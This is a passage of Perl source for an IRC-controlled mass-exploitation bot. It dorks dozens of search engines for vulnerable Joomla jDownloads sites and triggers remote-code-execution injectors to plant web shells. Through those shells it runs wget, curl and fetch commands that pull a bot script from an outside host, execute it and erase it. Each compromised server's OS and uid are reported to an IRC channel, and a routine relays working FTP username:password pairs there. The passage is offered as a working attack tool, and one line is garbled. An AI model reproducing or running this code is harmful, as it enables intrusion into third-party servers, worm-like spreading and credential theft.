- &msg("$admin","$revlogo 15,1$engine 9 $shell 15[SafeMode=$safe] [OS=$os] uid=$uid");
- } else {
- &msg("$nick","$revlogo 15,1$engine 4<9=4>9 $shell 15[SafeMode=$safe] [OS=$os] uid=$uid");
- &msg("$admin","$revlogo 15,1$engine 9 $shell 15[SafeMode=$safe] [OS=$os] uid=$uid");
- }
- if ($check2 =~ /Shell/i) {
- my $check = &get_content($magic."?cmd=cd%20/tmp%20;wget%20http://www.linkage.cygress.com/images/banners/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*");
- my $check = &get_content($magic."?cmd=cd%20/tmp%20;lwp-download%20%20http://www.linkage.cygress.com/images/banners/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*");
- my $check = &get_content($magic."?cmd=cd%20/tmp%20;fetch%20%20http://www.linkage.cygress.com/images/banners/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*");
- my $check = &get_content($magic."?cmd=cd%20/tmp%20;curl -O%20http://www.linkage.cygress.com/images/banners/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*");
- my $safe = ""; my $os = ""; my $uid = "";
- if ($check2->decoded_content =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
- if ($check2->decoded_content =~ /Uname : (.*?)<\/b>/){$os=$1;}
- if ($check2->decoded_content =~ /uid=(.*?)gid=/){$uid=$1;}
- &msg("$channel","$revlogo 15,1$engine 11 $admin 15[SafeMode=$safe] [OS=$os] uid=$uid");
- if ($nick eq $admin) {
- &msg("$admin","$revlogo 15,1$engine 9 $magic 15[SafeMode=$safe] [OS=$os] uid=$uid");
- }
- }
- }
- }
- }exit;
- }
- }
- }
- }
- sub get_all() {
- my $url = $_[0];
- my $ua = LWP::UserAgent->new(agent => &randomagent());
- $ua->timeout($timot);
- my $req = HTTP::Request->new(GET => $url);
- my $res = $ua->request($req);
- return $res;
- }
- sub jdownload() {
- my $chan = $_[0];
- my $bug = $_[1];
- my $dork = $_[2];
- my $engine = $_[3];
- my $nick = $_[4];
- my $count = 0;
- my @totexploit = &search_engine($chan,$bug,$dork,$engine,$jomlogo);
- my $num = scalar(@totexploit);
- if ($num > 0){
- foreach my $site(@totexploit){
- $count++;
- if ($count == $num-1) { &msg("$channel","$jomlogo 6$engine 15Done"); }
- my $test = "http://".$site.$bug;
- if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
- my $shell = "http://".$site."images/jdownloads/screenshots/roin.php.j?baca";
- my $cek = &get_content($test);sleep(1);
- if ($cek =~ /Submit file/i){
- my $magic = "http://".$site."logs/libs.inc.php.j";
- my $explo = $rceinjector."?url=".$site."&type=down";
- my $exp = $rceinjector2."?url=".$site."&type=down";
- &get_content($explo);sleep(3);
- &get_content($exp);
- my $check = &get_content($shell);sleep(3);
- my $check2 = &get_content($magic);
- if ($check =~ /roin SHeLL/i){
- my $check = &get_content($shell."?cmd=cd%20/tmp%20;wget%20http://www.linkage.cygress.com/images/banners/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*");
- my $check = &get_content($shell."?cmd=cd%20/tmp%20;lwp-download%20%20http://www.linkage.cygress.com/images/banners/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*");
- my $check = &get_content($shell."?cmd=cd%20/tmp%20;fetch%20%20http://www.linkage.cygress.com/images/banners/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*");
- my $check = &get_content($shell."?cmd=cd%20/tmp%20;curl -O%20http://www.linkage.cygress.com/images/banners/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*");
- my $safe = ""; my $os = ""; my $uid = "";
- if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
- if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
- if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
- &msg("$channel","$jomlogo 15,1$engine 9<4=9>11 $nick 15[SafeMode=$safe] [OS=$os] uid=$uid");
- if ($nick eq $admin) {
- &msg("$admin","$jomlogo 15,1$engine 4<9=4>9 $shell 15[SafeMode=$safe] [OS=$os] uid=$uid");
- } else {
- &msg("$nick","$jomlogo 15,1$engine 4<9=4>9 $shell 15[SafeMode=$safe] [OS=$os] uid=$uid");
- &msg("$admin","$jomlogo 15,1$engine 4<9=4>9 $shell 15[SafeMode=$safe] [OS=$os] uid=$uid");
- }
- if ($check2 =~ /BArNEr/i) {
- my $check = &get_content($magic."?cmd=cd%20/tmp%20;wget%20http://www.linkage.cygress.com/images/banners/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*");
- my $check = &get_content($magic."?cmd=cd%20/tmp%20;lwp-download%20%20http://www.linkage.cygress.com/images/banners/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*");
- my $check = &get_content($magic."?cmd=cd%20/tmp%20;fetch%20%20http://www.linkage.cygress.com/images/banners/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*");
- my $check = &get_content($magic."?cmd=cd%20/tmp%20;curl -O%20http://www.linkage.cygress.com/images/banners/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*");
- my $safe = ""; my $os = ""; my $uid = "";
- if ($check2 =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
- if ($check2 =~ /Uname : (.*?)<\/b>/){$os=$1;}
- if ($check2 =~ /uid=(.*?)gid=/){$uid=$1;}
- &msg("$channel","$jomlogo 15,1$engine 11 $admin 15[SafeMode=$safe] [OS=$os] uid=$uid");
- if ($nick eq $admin) {
- &msg("$admin","$jomlogo 15,1$engine 9 $magic 15[SafeMode=$safe] [OS=$os] uid=$uid");
- }
- }
- }
- } exit; }
- }
- }
- }
- ##################################################################################
- sub ftp_connect {
- my $url = $_[0];
- my $host = $_[1];
- my $user = $_[2];
- my $pass = $_[3];
- my $chan = $_[4];
- my $engine = $_[5];
- my $logo = $_[6];
- my $success = 1;
- use Net::FTP;
- my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 7);
- $success = 0 if $ftp->login($user,$pass);
- $ftp->quit;
- if ($success == 0) {
- &msg("$chanxxx","$logo15$engine 12 FTP 15[ 4http://".$host." 15] [4 ".$user.":".$pass." 15]");
- }
- }
- ##################################################################################
- sub search_engine() {
- my (@total,@clean);
- my $chan = $_[0];
- my $bug = $_[1];
- my $dork = $_[2];
- my $engine = $_[3];
- my $logo = $_[4];
- if ($engine eq "GooGLeCA") { my @googleCA = googleCA($dork); push(@total,@googleCA); }
- if ($engine eq "GooGLeDE") { my @googleDE = googleDE($dork); push(@total,@googleDE); }
- if ($engine eq "GooGLeUK") { my @googleUK = googleUK($dork); push(@total,@googleUK); }
- if ($engine eq "GooGLeFR") { my @googleFR = googleFR($dork); push(@total,@googleFR); }
- if ($engine eq "GooGLeES") { my @googleES = googleES($dork); push(@total,@googleES); }
- if ($engine eq "GooGLeIT") { my @googleIT = googleIT($dork); push(@total,@googleIT); }
- if ($engine eq "GooGLeNL") { my @googleNL = googleNL($dork); push(@total,@googleNL); }
- if ($engine eq "GooGLeBE") { my @googleBE = googleBE($dork); push(@total,@googleBE); }
- if ($engine eq "GooGLeCH") { my @googleCH = googleCH($dork); push(@total,@googleCH); }
- if ($engine eq "GooGLeSE") { my @googleSE = googleSE($dork); push(@total,@googleSE); }
- if ($engine eq "GooGLeDK") { my @googleDK = googleDK($dork); push(@total,@googleDK); }
- if ($engine eq "GooGLeNO") { my @googleNO = googleNO($dork); push(@total,@googleNO); }
- if ($engine eq "GooGLeNZ") { my @googleNZ = googleNZ($dork); push(@total,@googleNZ); }
- if ($engine eq "GooGLeIE") { my @googleIE = googleIE($dork); push(@total,@googleIE); }
- if ($engine eq "GooGLeBR") { my @googleBR = googleBR($dork); push(@total,@googleBR); }
- if ($engine eq "GooGLeAR") { my @googleAR = googleAR($dork); push(@total,@googleAR); }
- if ($engine eq "GooGLeCO") { my @googleCO = googleCO($dork); push(@total,@googleCO); }
- if ($engine eq "GooGLeCU") { my @googleCU = googleCU($dork); push(@total,@googleCU); }
- if ($engine eq "GooGLeCL") { my @googleCL = googleCL($dork); push(@total,@googleCL); }
- if ($engine eq "GooGLeMX") { my @googleMX = googleMX($dork); push(@total,@googleMX); }
- if ($engine eq "GooGLeAU") { my @googleAU = googleAU($dork); push(@total,@googleAU); }
- if ($engine eq "GooGLeRU") { my @googleRU = googleRU($dork); push(@total,@googleRU); }
- if ($engine eq "GooGLeAT") { my @googleAT = googleAT($dork); push(@total,@googleAT); }
- if ($engine eq "GooGLePL") { my @googlePL = googlePL($dork); push(@total,@googlePL); }
- if ($engine eq "GooGLeIL") { my @googleIL = googleIL($dork); push(@total,@googleIL); }
- if ($engine eq "GooGLeTR") { my @googleTR = googleTR($dork); push(@total,@googleTR); }
- if ($engine eq "GooGLeUA") { my @googleUA = googleUA($dork); push(@total,@googleUA); }
- if ($engine eq "GooGLeGR") { my @googleGR = googleGR($dork); push(@total,@googleGR); }
- if ($engine eq "GooGLeJP") { my @googleJP = googleJP($dork); push(@total,@googleJP); }
- if ($engine eq "GooGLeCN") { my @googleCN = googleCN($dork); push(@total,@googleCN); }
- if ($engine eq "GooGLeMY") { my @googleMY = googleMY($dork); push(@total,@googleMY); }
- if ($engine eq "GooGLeTH") { my @googleTH = googleTH($dork); push(@total,@googleTH); }
- if ($engine eq "GooGLeIN") { my @googleIN = googleIN($dork); push(@total,@googleIN); }
- if ($engine eq "GooGLeKR") { my @googleKR = googleKR($dork); push(@total,@googleKR); }
- if ($engine eq "GooGLeRO") { my @googleRO = googleRO($dork); push(@total,@googleRO); }
- if ($engine eq "GooGLeTW") { my @googleTW = googleTW($dork); push(@total,@googleTW); }
- if ($engine eq "GooGLeZA") { my @googleZA = googleZA($dork); push(@total,@googleZA); }
- if ($engine eq "GooGLePT") { my @googlePT = googlePT($dork); push(@total,@googlePT); }
- if ($engine eq "UK") { my @uk = &uk($dork); push(@total,@uk); }
- if ($engine eq "BR") { my @br = &br($dork); push(@total,@br); }
- if ($engine eq "RU") { my @ru = &ru($dork); push(@total,@ru); }
- if ($engine eq "NET") { my @net = &net($dork); push(@total,@net); }
- if ($engine eq "IT") { my @it = &it($dork); push(@total,@it); }
- if ($engine eq "COM") { my @com = &com($dork); push(@total,@com); }
- if ($engine eq "ORG") { my @org = &org($dork); push(@total,@org); }
- if ($engine eq "DE") { my @de = &de($dork); push(@total,@de); }
- if ($engine eq "FR") { my @fr = &fr($dork); push(@total,@fr); }
- if ($engine eq "CZ") { my @cz = &cz($dork); push(@total,@cz); }
- if ($engine eq "IR") { my @ir = &ir($dork); push(@total,@ir); }
- if ($engine eq "ME") { my @me = &me($dork); push(@total,@me); }
- if ($engine eq "TW") { my @tw = &tw($dork); push(@total,@tw); }
- if ($engine eq "CL") { my @cl = &cl($dork); push(@total,@cl); }
- if ($engine eq "SE") { my @se = &se($dork); push(@total,@se); }
- if ($engine eq "CA") { my @ca = &ca($dork); push(@total,@ca); }
- if ($engine eq "MX") { my @mx = &mx($dork); push(@total,@mx); }
- if ($engine eq "NL") { my @nl = &nl($dork); push(@total,@nl); }
- if ($engine eq "DK") { my @dk = &dk($dork); push(@total,@dk); }
- if ($engine eq "US") { my @us = &us($dork); push(@total,@us); }
- if ($engine eq "INFO") { my @info = &info($dork); push(@total,@info); }
- if ($engine eq "IN") { my @in = &in($dork); push(@total,@in); }
- if ($engine eq "MY") { my @my = &my($dork); push(@total,@my); }
- if ($engine eq "SK") { my @sk = &sk($dork); push(@total,@sk); }
- if ($engine eq "TR") { my @tr = &tr($dork); push(@total,@tr); }
- if ($engine eq "EDU") { my @edu = &edu($dork); push(@total,@edu); }
- if ($engine eq "NO") { my @no = &no($dork); push(@total,@no); }
- if ($engine eq "PL") { my @pl = &pl($dork); push(@total,@pl); }
- if ($engine eq "ID") { my @id = &id($dork); push(@total,@id); }
- if ($engine eq "TH") { my @th = &th($dork); push(@total,@th); }
- if ($engine eq "AR") { my @ar = &ar($dork); push(@total,@ar); }
- if ($engine eq "ES") { my @es = &es($dork); push(@total,@es); }
- if ($engine eq "VE") { my @ve = &ve($dork); push(@total,@ve); }
- if ($engine eq "RO") { my @ro = &ro($dork); push(@total,@ro); }
- if ($engine eq "BIZ") { my @biz = &biz($dork); push(@total,@biz); }
- if ($engine eq "CN") { my @cn = &cn($dork); push(@total,@cn); }
- if ($engine eq "KR") { my @kr = &kr($dork); push(@total,@kr); }
- if ($engine eq "ZA") { my @za = &za($dork); push(@total,@za); }
- if ($engine eq "VN") { my @vn = &vn($dork); push(@total,@vn); }
- if ($engine eq "SI") { my @si = &si($dork); push(@total,@si); }
- if ($engine eq "EU") { my @eu = &eu($dork); push(@total,@eu); }
- if ($engine eq "BE") { my @be = &be($dork); push(@total,@be); }
- if ($engine eq "HU") { my @hu = &hu($dork); push(@total,@hu); }
- if ($engine eq "LV") { my @lv = &lv($dork); push(@total,@lv); }
- if ($engine eq "UA") { my @ua = &ua($dork); push(@total,@ua); }
- if ($engine eq "TV") { my @tv = &tv($dork); push(@total,@tv); }
- if ($engine eq "IE") { my @ie = &ie($dork); push(@total,@ie); }
- if ($engine eq "CO") { my @co = &co($dork); push(@total,@co); }
- if ($engine eq "PRO") { my @pro = &pro($dork); push(@total,@pro); }
- if ($engine eq "NAME") { my @name = &name($dork); push(@total,@name); }
- if ($engine eq "BY") { my @by = &by($dork); push(@total,@by); }
- if ($engine eq "JP") { my @jp = &jp($dork); push(@total,@jp); }
- if ($engine eq "PH") { my @ph = &ph($dork); push(@total,@ph); }
- if ($engine eq "AU") { my @au = &au($dork); push(@total,@au); }
- if ($engine eq "CAT") { my @cat = &cat($dork); push(@total,@cat); }
- if ($engine eq "HK") { my @hk = &hk($dork); push(@total,@hk); }
- if ($engine eq "AT") { my @at = &at($dork); push(@total,@at); }
- if ($engine eq "SU") { my @su = &su($dork); push(@total,@su); }
- if ($engine eq "MOBI") { my @mobi = &mobi($dork); push(@total,@mobi); }
- if ($engine eq "ASIA") { my @asia = &asia($dork); push(@total,@asia); }
- if ($engine eq "COOP") { my @coop = &coop($dork); push(@total,@coop); }
- if ($engine eq "AE") { my @ae = &ae($dork); push(@total,@ae); }
- if ($engine eq "MN") { my @mn = &mn($dork); push(@total,@mn); }
- if ($engine eq "BG") { my @bg = &bg($dork); push(@total,@bg); }
- if ($engine eq "NZ") { my @nz = &nz($dork); push(@total,@nz); }
- if ($engine eq "EE") { my @ee = &ee($dork); push(@total,@ee); }
- if ($engine eq "GR") { my @gr = &gr($dork); push(@total,@gr); }
- if ($engine eq "PT") { my @pt = &pt($dork); push(@total,@pt); }
- if ($engine eq "TN") { my @tn = &tn($dork); push(@total,@tn); }
- if ($engine eq "KE") { my @ke = &ke($dork); push(@total,@ke); }
- if ($engine eq "FI") { my @fi = &fi($dork); push(@total,@fi); }
- if ($engine eq "HR") { my @hr = &hr($dork); push(@total,@hr); }
- if ($engine eq "CH") { my @ch = &ch($dork); push(@total,@ch); }
- if ($engine eq "IL") { my @il = &il($dork); push(@total,@il); }
- if ($engine eq "PE") { my @pe = &pe($dork); push(@total,@pe); }
- if ($engine eq "MD") { my @md = &md($dork); push(@total,@md); }
- if ($engine eq "CC") { my @cc = &cc($dork); push(@total,@cc); }
- if ($engine eq "TEL") { my @tel = &tel($dork); push(@total,@tel); }
- if ($engine eq "IM") { my @im = &im($dork); push(@total,@im); }
- if ($engine eq "KZ") { my @kz = &kz($dork); push(@total,@kz); }
- if ($engine eq "UY") { my @uy = &uy($dork); push(@total,@uy); }
- if ($engine eq "MIL") { my @mil = &mil($dork); push(@total,@mil); }
- if ($engine eq "PK") { my @pk = &pk($dork); push(@total,@pk); }
- if ($engine eq "IS") { my @is = &is($dork); push(@total,@is); }
- if ($engine eq "UZ") { my @uz = &uz($dork); push(@total,@uz); }
- if ($engine eq "NG") { my @ng = &ng($dork); push(@total,@ng); }
- if ($engine eq "TRAVEL") { my @travel = &travel($dork); push(@total,@travel); }
- if ($engine eq "SA") { my @sa = &sa($dork); push(@total,@sa); }
- if ($engine eq "DO") { my @do = &do($dork); push(@total,@do); }
- if ($engine eq "AM") { my @am = &am($dork); push(@total,@am); }
- if ($engine eq "EG") { my @eg = &eg($dork); push(@total,@eg); }
- if ($engine eq "FM") { my @fm = &fm($dork); push(@total,@fm); }
- if ($engine eq "GE") { my @ge = &ge($dork); push(@total,@ge); }
- if ($engine eq "KY") { my @ky = &ky($dork); push(@total,@ky); }
- if ($engine eq "LU") { my @lu = &lu($dork); push(@total,@lu); }
- if ($engine eq "MK") { my @mk = &mk($dork); push(@total,@mk); }
- if ($engine eq "QA") { my @qa = &qa($dork); push(@total,@qa); }
- if ($engine eq "SG") { my @sg = &sg($dork); push(@total,@sg); }
- if ($engine eq "SY") { my @sy = &sy($dork); push(@total,@sy); }
- if ($engine eq "LA") { my @la = &la($dork); push(@total,@la); }
- if ($engine eq "AZ") { my @az = &az($dork); push(@total,@az); }
- if ($engine eq "CY") { my @cy = &cy($dork); push(@total,@cy); }
- if ($engine eq "BD") { my @bd = &bd($dork); push(@total,@bd); }
- if ($engine eq "SN") { my @sn = &sn($dork); push(@total,@sn); }
- if ($engine eq "MUSEUM") { my @museum = &museum($dork); push(@total,@museum); }
- if ($engine eq "GOV") { my @gov = &gov($dork); push(@total,@gov); }
- if ($engine eq "TK") { my @tk = &tk($dork); push(@total,@tk); }
- if ($engine eq "NU") { my @nu = &nu($dork); push(@total,@nu); }
- if ($engine eq "ZM") { my @zm = &zm($dork); push(@total,@zm); }
- if ($engine eq "YE") { my @ye = &ye($dork); push(@total,@ye); }
- if ($engine eq "CU") { my @cu = &cu($dork); push(@total,@cu); }
- if ($engine eq "TO") { my @to = &to($dork); push(@total,@to); }
- if ($engine eq "TZ") { my @tz = &tz($dork); push(@total,@tz); }
- if ($engine eq "RS") { my @rs = &rs($dork); push(@total,@rs); }
- if ($engine eq "PM") { my @pm = &pm($dork); push(@total,@pm); }
- if ($engine eq "LT") { my @lt = <($dork); push(@total,@lt); }
- if ($engine eq "MZ") { my @mz = &mz($dork); push(@total,@mz); }
- if ($engine eq "MA") { my @ma = &ma($dork); push(@total,@ma); }
- if ($engine eq "AL") { my @al = &al($dork); push(@total,@al); }
- if ($engine eq "PA") { my @pa = &pa($dork); push(@total,@pa); }
- if ($engine eq "EC") { my @ec = &ec($dork); push(@total,@ec); }
- if ($engine eq "KG") { my @kg = &kg($dork); push(@total,@kg); }
- if ($engine eq "UZ") { my @uz = &uz($dork); push(@total,@uz); }
- if ($engine eq "SV") { my @sv = &sv($dork); push(@total,@sv); }
- if ($engine eq "GooGLe") { my @google = &google($dork); push(@total,@google); }
- if ($engine eq "WaLLa") { my @walla = &walla($dork); push(@total,@walla); }
- if ($engine eq "YaHoo") { my @yahoo = &yahoo($dork); push(@total,@yahoo); }
- if ($engine eq "AsK") { my @ask = &ask($dork); push(@total,@ask); }
- if ($engine eq "Bing") { my @bing = &bing($dork); push(@total,@bing); }
- if ($engine eq "UoL") { my @uol = &uol($dork,$chan); push(@total,@uol); }
- if ($engine eq "OnEt") { my @onet = &onet($dork); push(@total,@onet); }
- if ($engine eq "CLusTy") { my @clusty = &clusty($dork); push(@total,@clusty); }
- if ($engine eq "SaPo") { my @sapo = &sapo($dork); push(@total,@sapo); }
- if ($engine eq "AoL") { my @aol = &aol($dork); push(@total,@aol); }
- if ($engine eq "LyCos") { my @lycos = &lycos($dork); push(@total,@lycos); }
- if ($engine eq "HotBot") { my @hotbot = &hotbot($dork); push(@total,@hotbot); }
- if ($engine eq "SeZNam") { my @seznam = &seznam($dork); push(@total,@seznam); }
- if ($engine eq "BigLobe") { my @biglobe = &biglobe($dork); push(@total,@biglobe); }
- if ($engine eq "Yahoo2") { my @yahoo2 = &yahoo2($dork); push(@total,@yahoo2); }
- if ($engine eq "KvaSiR") { my @kvasir = &kvasir($dork); push(@total,@kvasir); }
- if ($engine eq "QuinT") { my @quint = &quint($dork); push(@total,@quint); }
- if ($engine eq "Pagina") { my @pagina = &pagina($dork); push(@total,@pagina); }
- if ($engine eq "Clix") { my @clix = &clix($dork); push(@total,@clix); }
- if ($engine eq "ask2") { my @ask2 = &ask2($dork); push(@total,@ask2); }
- if ($engine eq "webcrawler") { my @webcrawler = &webcrawler($dork); push(@total,@webcrawler); }
- if ($engine eq "witch") { my @witch = &witch($dork); push(@total,@witch); }
- if ($engine eq "amidalla") { my @amidalla = &amidalla($dork); push(@total,@amidalla); }
- if ($engine eq "gibla") { my @gibla = &gibla($dork); push(@total,@gibla); }
- if ($engine eq "mywebsearch") { my @mywebsearch = &mywebsearch($dork); push(@total,@mywebsearch); }
- if ($engine eq "dogpile") { my @dogpile = &dogpile($dork); push(@total,@dogpile); }
- if ($engine eq "infocom") { my @infocom = &infocom($dork); push(@total,@infocom); }
- if ($engine eq "searchcom") { my @searchcom = &searchcom($dork); push(@total,@searchcom); }
- if ($engine eq "teoma") { my @teoma = &teoma($dork); push(@total,@teoma); }
- if ($engine eq "volunia") { my @volunia = &volunia($dork); push(@total,@volunia); }
- if ($engine eq "izito") { my @izito = &izito($dork); push(@total,@izito); }
- if ($engine eq "becak") { my @becak = &becak($dork); push(@total,@becak); }
- if ($engine eq "bokep") { my @bokep = &bokep($dork); push(@total,@bokep); }
- if ($engine eq "searchnz") { my @searchnz = &searchnz($dork); push(@total,@searchnz); }
- @clean = &clean(@total);
- if (scalar(@total) != 0) {
- &msg("$chan","$logo 15$engine14 ".scalar(@total).""); }
- return @clean;
- }
- ##################################################################################
- sub isFound() {
- my $status = 0;
- my $link = $_[0];
- my $reqexp = $_[1];
- my $res = &get_content($link);
- if ($res =~ /$reqexp/) { $status = 1 }
- return $status;
- }
- sub get_content() {
- my $url = $_[0];
- my $ua = LWP::UserAgent->new(agent => $uagent);
- $ua->timeout($timot);
- my $req = HTTP::Request->new(GET => $url);
- my $res = $ua->request($req);
- return $res->content;
- }
- ######################################### SEARCH ENGINE
- sub becak() {
- my @list;
- my $key = $_[0];
- my @doms = ("ae","com.af","com.ag","off.ai","am","com.ar","as","at","com.au","az","ba","com.bd","be","bg","bi","com.bo","com.br","bs","co.bw","com.bz","ca","cd","cg","ch","ci","co.ck","cl","com.co","co.cr","com.cu","de","dj","dk","dm","com.do","com.ec","es","com.et","fi","com.fj","fm","fr","gg","com.gi","gl","gm","gr","com.gt","com.hk","hn","hr","co.hu","co.id","ie","co.il","co.im","co.in","is","it","co.je","com.jm","jo","co.jp","co.ke","kg","co.kr","kz","li","lk","co.ls","lt","lu","lv","com.ly","mn","ms","com.mt","mu","mw","com.mx","com.my","com.na","com.nf","com.ni","nl","no","com.np","nr","nu","co.nz","com.om","com.pa","com.pe","com.ph","com.pk","pl","pn","com.pr","pt","com.py","ro","ru","rw","com.sa","com.sb","sc","se","com.sg","sh","sk","sn","sm","com.sv","co.th","com.tj","tm","to","tp","com.tr","tt","com.tw","com.ua","co.ug","co.uk","com.uy","uz","com.vc","co.ve","vg","co.vi","com.vn","vu","ws","co.za","co.zm","co.kr");
- foreach my $domain (@doms) { $dom = $doms[rand(scalar(@doms))];
- for ($b=1; $b<=200; $b+=10) {
- my $search = ("http://www.google.".$dom."/search?num=50&q=".uri_escape($key)."&start=".$b."&sa=N");
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- if ($1 !~ /google/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- }
- sub bokep() {
- my @list;
- my $key = $_[0];
- for ($b=0; $b<=300; $b+=10) {
- my $search = ("http://www.search.xxx/search/?q=".uri_escape($key)."&lr=all&cat=&or=&start=".$b);
- my $res = search_engine_query($search);
- while ($res =~ m/<h2 class=\"result-web\">(.*?)<\/h2>/g) {
- if ($1 !~ /search\.xxx/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub searchnz() {
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=40; $b+=1) {
- my $search = ("http://searchnz.co.nz/search.aspx?q=".uri_escape($key)."&gr=false&np=".$b);
- my $res = search_engine_query($search);
- while ($res =~ m/>http:\/\/(.+?)<\/a><\/div>/g) {
- if ($1 !~ /webads\.co\.nz/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub webcrawler() {
- my @list;
- my $key = $_[0];
- for ($i = 0 ;$i <= 1400 ;$i += 20) {
- my $clink = ("http://www.webcrawler.com/search/web?qsi=".$i."&q=".uri_escape($key)."&fcop=results-top");
- my $re = search_engine_query($clink);
- while ($re =~ m/nonpaid','(.*)','http:\/\/(.+?)\'/g) {
- my $link = $1;
- if ($1 !~ /webcrawler\.com/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub clusty() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=0; $b<=120; $b+=10) {
- my $search = ("http://search.yippy.com/search?query=".uri_escape($key)."&input-form=clusty-simple&v:sources=webplus&v:state=root|root-".$b."-10|0&");
- my $res = search_engine_query($search);
- while ($res =~ m/<div class=\"document-header\"><a href=\"http:\/\/(.*?)\"><span class=\"title\">/g) {
- if ($1 !~ /yippy\.com/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub witch(){
- my @list;
- my $key = $_[0];
- for($b=0; $b<=180; $b+=10){
- my $Lyc = ("http://www.witch.de/search-result.php?searchtype=phonetisch&search=".uri_escape($key)."&cn=".$b);
- my $Res = search_engine_query($Lyc);
- while ($Res =~ m/<a href=\"http:\/\/(.+?)\"/g){
- my $link = $1;
- if ($1 !~ /witch\.de/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub amidalla(){
- my @list;
- my $key = $_[0];
- my $i = 0;
- for ($i=1; $i<=200; $i+=10){
- my $web=("http://www.amidalla.de/cgi-bin/amisearch.cgi?search=".uri_escape($key)."&page=".$i."&break=10&af=2&tld=com&et=2");
- my $Res= search_engine_query($web);
- while ($Res =~ m/<a href=\"http:\/\/(.+?)\//g){
- if ($1 !~ /amidalla/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub gibla() {
- my @list;
- my $key = $_[0];
- for ($b=0; $b<=600; $b+=10) {
- my $search = ("http://www.gigablast.com/search?s=".$b."&q=".uri_escape($key));
- my $res = search_engine_query($search);
- while ($res =~ m/<span class=\"url\">(.+?)<\/span>/g) {
- my $link = $1;
- if ($link!~ /gigablast/) {
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub mywebsearch() {
- my @list;
- my $key = $_[0];
- for ($b = 1; $b<=30; $b+= 1) {
- my $search = ("http://search.mywebsearch.com/mywebsearch/GGweb.jhtml?searchfor=".uri_escape($key)."&pn=".$b);
- my $res = search_engine_query($search);
- while ($res =~ m/<span class=\"uri\">http:\/\/(.+?)\<\/span>/g) {
- my $link = $1;
- if ($1 !~ /mywebsearch\.com/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub dogpile() {
- my @list;
- my $key = $_[0];
- for ($b = 1; $b<=901; $b+= 10) {
- my $search = ("http://www.dogpile.com/info.dogpl/search/web?qsi=".$b."&q=".uri_escape($key));
- my $res = search_engine_query($search);
- while ($res =~ m/<a class=\"resultDisplayUrl\" (.*) site=\"_blank\">(.+?)<\/a>/g) {
- my $link = $2;
- if ($link!~ /dogpile/) {
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub infocom() {
- my @list;
- my $key = $_[0];
- for ($b = 1; $b<=60; $b+= 1) {
- my $search = ("http://www.info.com/searchw?page=".$b."&qkw=".uri_escape($key));
- my $res = search_engine_query($search);
- while ($res =~ m/http%3a%2f%2f(.+?)%2f/g) {
- my $link = $1;
- if ($link!~ /info\.com/) {
- my @grep=links($link);
- open( $filez, ">>", $name );
- foreach my $k (@grep) { print $filez "$k\n"; }
- close $filez;
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub searchcom() {
- my @list;
- my $key = $_[0];
- for ($b = 1; $b<=40; $b+= 1) {
- my $search = ("http://www.search.com/search?q=".uri_escape($key)."&nav=".$b.".10.2.10");
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.+?)\" onclick=\"/g) {
- my $link = $1;
- if ($link!~ /search\.com/) {
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub teoma() {
- my @list;
- my $key = $_[0];
- for ($b = 1; $b<=60; $b+= 1) {
- my $search = ("http://www.teoma.com/web?q=".uri_escape($key)."&page=".$b);
- my $res = search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.+?)\"/g) {
- my $link = $1;
- if ($link!~ /teoma\.com/) {
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub izito() {
- my @list;
- my $key = $_[0];
- for ($b=0; $b<=20; $b+=1) {
- my $search = ("http://www.izito.com/?query=".uri_escape($key)."&where=web_izito&site=web_izito&vid=l1847521836I1359583892&con=y&asid=1810073229&tag=7570085394I1359583978&clt=topic&sr=r&pg=".$b);
- my $res = search_engine_query($search);
- while ($res =~ m/<div class=\"title_up\"><a href=\"http:\/\/(.*?)\" site=/g) {
- my $link = $1;
- if ($1 !~ /izito\.com/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub onyet() {
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=20; $b+=1) {
